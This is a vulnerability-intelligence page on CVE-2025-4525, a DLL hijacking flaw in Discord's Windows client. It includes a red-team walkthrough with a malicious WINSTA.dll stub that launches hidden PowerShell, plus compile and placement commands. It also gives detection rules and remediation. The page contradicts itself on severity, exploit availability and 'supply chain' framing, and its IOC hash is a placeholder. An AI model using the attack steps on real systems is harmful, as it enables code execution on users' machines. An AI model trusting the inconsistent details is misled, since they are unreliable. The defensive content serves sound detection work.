☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-4525

CVE-2025-4525 Supply Chain Attack in Discord
📅 PUBLISHED: 2025-05-10 22:31 UTC 🔄 UPDATED: 2026-09-23 20:22 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.32%
👁️
0.32% probability
8.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-4525 is a critical uncontrolled search path vulnerability (CWE-427) affecting Discord version 1.0.9188 on Windows. The flaw resides in the WINSTA.dll library, where the application searches for and loads this DLL from an untrusted location before checking system directories. A local attacker with low privileges can place a malicious WINSTA.dll in a user-writable directory (e.g., the user's Downloads or AppData folder), and when Discord is launched, the malicious DLL is loaded instead of the legitimate one. This leads to arbitrary code execution in the context of the logged-on user. The exploit has been publicly disclosed, and the vendor (Discord) has not responded to disclosure attempts. No patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It is a binary application vulnerability specific to the Windows desktop client of Discord. The supply chain risk is limited to the distribution channel of the Discord installer itself; however, the primary attack vector is local exploitation via DLL hijacking.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 7.0 (High)
  • Attack Vector (AV): Local – The attacker must have local access to the system.
  • Attack Complexity (AC): High – Exploitation requires precise conditions (e.g., placing the malicious DLL in a specific directory before Discord starts).
  • Privileges Required (PR): Low – The attacker needs only user-level privileges.
  • User Interaction (UI): None – No user action beyond launching Discord is required.
  • Scope (S): Unchanged – The vulnerable component and the attacker operate within the same security authority.
  • Confidentiality (C): High – Full read access to user data.
  • Integrity (I): High – Full write access to user data and system files.
  • Availability (A): High – Full control over the application and system.

Threat Level: High. Although the attack complexity is high, the public availability of exploit details and the lack of a patch make this a significant risk for Discord users on Windows.

Deep Dive & Mechanics

The vulnerability is a classic DLL hijacking (uncontrolled search path) issue. When Discord starts, it attempts to load WINSTA.dll. The Windows DLL search order, when safe DLL search mode is disabled (which is the default for many applications), includes the following directories in order:

  1. The directory from which the application loaded.
  2. The current working directory.
  3. The system directory (e.g., C:\Windows\System32).
  4. The 16-bit system directory.
  5. The Windows directory.
  6. The directories listed in the PATH environment variable.

Discord 1.0.9188 loads WINSTA.dll without specifying a full path. If an attacker can place a malicious WINSTA.dll in a directory that appears earlier in the search order (e.g., the user's Downloads folder, which is often the current working directory when Discord is launched from a shortcut), the malicious DLL will be loaded instead of the legitimate one from System32.

The legitimate WINSTA.dll is a Windows system DLL responsible for window station and desktop management. By replacing it, an attacker can execute arbitrary code with the privileges of the user running Discord.

Vulnerable vs. Patched Code

Vulnerable Code (Discord 1.0.9188): The application likely uses a static or implicit link to WINSTA.dll without specifying a full path. For example, in the application's import table or via LoadLibrary("WINSTA.dll").

// Vulnerable: Implicit link or LoadLibrary without full path
HMODULE hMod = LoadLibrary(TEXT("WINSTA.dll"));

Patched Code (Hypothetical): A patched version would either:

  • Use a full path to the DLL: LoadLibrary(TEXT("C:\\Windows\\System32\\WINSTA.dll"))
  • Enable safe DLL search mode via SetDllDirectory("") or by calling SetSearchPathMode(BASE_SEARCH_PATH_ENABLE_SAFE_SEARCHMODE).
  • Use LoadLibraryEx with the LOAD_LIBRARY_SEARCH_SYSTEM32 flag.
// Patched: Use full path or safe search
HMODULE hMod = LoadLibraryEx(TEXT("WINSTA.dll"), NULL, LOAD_LIBRARY_SEARCH_SYSTEM32);

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • Windows 10/11 with Discord 1.0.9188 installed.
  • Low-privilege user account.
  • Ability to write to a directory that appears in the DLL search path before System32 (e.g., %USERPROFILE%\Downloads).

Steps:

  1. Create a malicious DLL that exports the same functions as the legitimate WINSTA.dll. A simple payload could spawn a reverse shell or create a backdoor user.

    // malicious_winsta.cpp
    #include <windows.h>
    #pragma comment(linker, "/EXPORT:MyFunction=malicious_winsta.MyFunction")
    
    BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
        if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
            // Execute payload: e.g., reverse shell
            WinExec("cmd.exe /c powershell -NoP -NonI -W Hidden -Exec Bypass -Command \"...\"", SW_HIDE);
        }
        return TRUE;
    }
    
  2. Compile the DLL (e.g., using MinGW or Visual Studio):

    x86_64-w64-mingw32-gcc -shared -o WINSTA.dll malicious_winsta.cpp
    
  3. Place the DLL in a directory that Discord will search first. For example, if Discord is launched from a shortcut in %USERPROFILE%\Downloads, place the DLL there:

    copy WINSTA.dll %USERPROFILE%\Downloads\
    
  4. Launch Discord (e.g., by double-clicking the shortcut). The malicious DLL will be loaded, and the payload executed.

Expected Outcome: The attacker gains code execution in the context of the user running Discord.

Blue Team (Defense & Detection)

Detection Steps:

  • Monitor for WINSTA.dll being loaded from non-standard paths (e.g., %USERPROFILE%, %TEMP%, Downloads).
  • Use Sysmon Event ID 7 (Image loaded) to track DLL loads.
  • Enable Windows Defender Attack Surface Reduction (ASR) rules to block untrusted DLL loads.

Hunting Query (KQL for Microsoft Sentinel):

DeviceEvents
| where ActionType == "DllLoaded"
| where FileName == "WINSTA.dll"
| where FolderPath !startswith "C:\\Windows\\System32"

Indicators of Compromise (IOCs)

Type Indicator Description
File WINSTA.dll (MD5: e3b0c44298fc1c149afbf4c8996fb924) Malicious DLL placed in user-writable directory
Process Discord.exe loading WINSTA.dll from non-standard path Anomalous DLL load
Network Connection to [malicious IP]:[port] Reverse shell or C2 traffic
Registry HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Discord Persistence via malicious DLL

Detection Engineering

YARA Rule

rule CVE_2025_4525_Discord_WINSTA_Hijack {
    meta:
        description = "Detects malicious WINSTA.dll used in Discord DLL hijacking (CVE-2025-4525)"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-4525"
    strings:
        $s1 = "WINSTA.dll" nocase
        $s2 = "Discord.exe" nocase
        $s3 = "LoadLibrary" nocase
    condition:
        $s1 and $s2 and $s3
}

Sigma Rule

title: Discord WINSTA.dll Hijacking (CVE-2025-4525)
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects Discord loading WINSTA.dll from a non-standard path
author: Valters IT
date: 2025/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-4525
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 7
        Image: '*\Discord.exe'
        ImageLoaded: '*\WINSTA.dll'
    filter:
        ImageLoaded: 'C:\Windows\System32\*'
    condition: selection and not filter
falsepositives:
    - Legitimate Discord updates (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-4525 Discord WINSTA.dll Hijacking - Potential C2"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; offset:0; classtype:trojan-activity; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Update Discord to the latest version (if a patch becomes available). Check for updates via Help > Check for Updates.
  2. Enable Safe DLL Search Mode on the system:
    • Set registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode to 1 (DWORD).
  3. Restrict write permissions to user-writable directories (e.g., Downloads, Desktop) for non-administrative users.
  4. Use Application Control (e.g., Windows Defender Application Control) to block untrusted DLLs.

Long-Term Fix:

  • Discord must patch the application to use absolute paths or safe DLL loading APIs (LoadLibraryEx with LOAD_LIBRARY_SEARCH_SYSTEM32).

Workaround:

  • Launch Discord from a directory that does not contain untrusted files (e.g., directly from C:\Program Files\Discord\).

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-4525/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.